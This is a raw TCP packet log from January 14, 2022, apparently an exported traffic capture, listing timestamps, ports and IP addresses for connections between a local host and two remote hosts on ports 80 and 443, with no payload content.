Jan 14, 2022 20:23:04.535151958 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.535197020 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.535204887 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.535239935 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.535245895 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.535279989 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.535319090 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.535357952 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.535377026 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.535397053 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.535414934 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.535438061 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.535476923 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.535518885 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.535531998 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.535559893 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.535569906 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.535599947 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.535640001 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.535679102 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.535695076 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.535717010 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.535729885 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.535758018 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.535797119 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.535837889 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.535844088 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.535878897 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.535885096 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.535918951 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.535959959 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.535996914 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.536020041 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.536062002 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.553412914 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.553476095 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.553508043 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.553550005 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.553556919 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.553586960 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.553626060 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.553653002 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.553662062 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.553703070 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.553705931 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.553754091 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.553760052 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.553793907 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.553826094 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.553873062 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.553889990 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.553921938 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.553941011 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.553955078 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.553972006 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.553992033 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.553992987 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.554013968 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.554024935 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.554030895 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.554047108 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.554065943 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.554084063 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.554089069 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.554111958 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.554119110 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.554131985 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.554155111 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.554167986 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.554176092 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.554198027 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.554209948 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.554219961 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.554244041 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.554255962 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.554265976 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.554284096 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.554303885 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.554320097 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.554326057 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.554337978 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.554348946 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.554364920 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.554388046 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.554393053 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.554413080 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.554419994 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.554434061 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.554454088 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.554467916 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.554472923 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.554526091 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.573704004 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.573738098 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.573756933 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.573784113 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.573803902 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.573810101 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.573834896 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.573848009 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.573875904 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.573875904 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.573909998 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.573930025 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.573945999 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.573960066 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.573965073 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.573982000 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.573988914 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574012995 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574026108 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.574038029 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574059010 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574079037 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574079990 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.574099064 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.574099064 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574125051 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574148893 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574163914 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.574176073 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574194908 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.574202061 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574225903 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574249983 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574256897 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.574275970 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574301004 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574301958 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.574321985 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574340105 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574357033 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574373960 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574383020 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.574393988 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574412107 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574414968 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.574430943 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574448109 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.574448109 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574469090 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574471951 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.574489117 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574506044 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574508905 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.574525118 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574542999 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574549913 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.574562073 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574579000 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574589014 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.574595928 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574614048 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574630976 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574632883 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.574649096 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574666023 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574667931 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.574682951 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574701071 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574702024 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.574713945 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.574717999 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.574759007 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.592117071 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.592153072 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.592179060 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.592200994 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.592222929 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.592243910 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.592266083 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.592268944 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.592288017 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.592291117 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.592309952 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.592330933 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.592348099 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.592354059 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.592377901 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.592377901 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.592400074 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.592411995 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.592422962 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.592444897 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.592463970 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:04.592479944 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.592533112 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.592988968 CET	49765	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:04.610378981 CET	80	49765	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:05.793348074 CET	49766	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:05.810806990 CET	80	49766	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:05.810916901 CET	49766	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:05.811027050 CET	49766	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:05.811049938 CET	49766	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:05.828294039 CET	80	49766	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:05.949201107 CET	80	49766	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:05.949282885 CET	49766	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:05.949575901 CET	49766	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:05.966877937 CET	80	49766	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:05.981976032 CET	49767	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:05.999289989 CET	80	49767	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:05.999809980 CET	49767	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:05.999883890 CET	49767	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:06.002248049 CET	49767	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:06.017157078 CET	80	49767	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:06.019381046 CET	80	49767	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:06.116007090 CET	80	49767	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:06.116096973 CET	49767	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:06.116542101 CET	49767	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:06.133692026 CET	80	49767	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:06.435883045 CET	49769	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:06.453059912 CET	80	49769	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:06.453771114 CET	49769	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:06.453905106 CET	49769	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:06.453919888 CET	49769	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:06.471024036 CET	80	49769	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:06.578708887 CET	80	49769	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:06.578725100 CET	80	49769	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:06.578819036 CET	49769	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:06.579137087 CET	49769	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:06.596333981 CET	80	49769	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:06.624836922 CET	49770	443	192.168.2.3	185.233.81.115
Jan 14, 2022 20:23:06.624903917 CET	443	49770	185.233.81.115	192.168.2.3
Jan 14, 2022 20:23:06.625209093 CET	49770	443	192.168.2.3	185.233.81.115
Jan 14, 2022 20:23:06.627105951 CET	49770	443	192.168.2.3	185.233.81.115
Jan 14, 2022 20:23:06.627134085 CET	443	49770	185.233.81.115	192.168.2.3
Jan 14, 2022 20:23:06.690138102 CET	443	49770	185.233.81.115	192.168.2.3
Jan 14, 2022 20:23:06.690263987 CET	49770	443	192.168.2.3	185.233.81.115
Jan 14, 2022 20:23:06.694387913 CET	49770	443	192.168.2.3	185.233.81.115
Jan 14, 2022 20:23:06.694406033 CET	443	49770	185.233.81.115	192.168.2.3
Jan 14, 2022 20:23:06.694751024 CET	443	49770	185.233.81.115	192.168.2.3
Jan 14, 2022 20:23:06.712481022 CET	49770	443	192.168.2.3	185.233.81.115
Jan 14, 2022 20:23:06.730410099 CET	443	49770	185.233.81.115	192.168.2.3
Jan 14, 2022 20:23:06.730489016 CET	443	49770	185.233.81.115	192.168.2.3
Jan 14, 2022 20:23:06.730583906 CET	49770	443	192.168.2.3	185.233.81.115
Jan 14, 2022 20:23:06.730904102 CET	49770	443	192.168.2.3	185.233.81.115
Jan 14, 2022 20:23:06.730925083 CET	443	49770	185.233.81.115	192.168.2.3
Jan 14, 2022 20:23:06.730958939 CET	49770	443	192.168.2.3	185.233.81.115
Jan 14, 2022 20:23:06.730968952 CET	443	49770	185.233.81.115	192.168.2.3
Jan 14, 2022 20:23:06.760140896 CET	49771	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:06.777354956 CET	80	49771	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:06.777534962 CET	49771	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:06.777920961 CET	49771	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:06.777947903 CET	49771	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:06.795021057 CET	80	49771	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:06.894810915 CET	80	49771	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:06.895044088 CET	49771	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:06.895229101 CET	49771	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:06.914489985 CET	80	49771	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.239469051 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.257088900 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.257181883 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.257303953 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.316948891 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.359369993 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.359432936 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.359472036 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.359510899 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.359519005 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.359549999 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.359587908 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.359627008 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.359627962 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.359659910 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.359668016 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.359708071 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.359740973 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.359749079 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.359801054 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.377142906 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.399460077 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.399518013 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.399558067 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.399596930 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.399636030 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.399637938 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.399673939 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.399679899 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.399697065 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.399713039 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.399751902 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.399791002 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.399808884 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.399832010 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.399844885 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.399868965 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.399910927 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.399950981 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.399965048 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.399988890 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.400007010 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.400032997 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.400091887 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.400119066 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.400136948 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.400177956 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.400216103 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.400235891 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.400346041 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.417608023 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.417656898 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.417692900 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.417735100 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.437946081 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438010931 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438054085 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438091993 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438112020 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.438132048 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438138008 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.438170910 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438204050 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.438210964 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438250065 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438287973 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438328028 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438334942 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.438366890 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438370943 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.438404083 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438445091 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438457966 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.438483953 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438496113 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.438523054 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438564062 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438601971 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438641071 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438666105 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.438673019 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.438679934 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438716888 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438755989 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438770056 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.438795090 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438810110 CET	49772	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:07.438834906 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438874006 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438910961 CET	80	49772	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:07.438926935 CET	49772	80	192.168.2.3	8.209.70.0
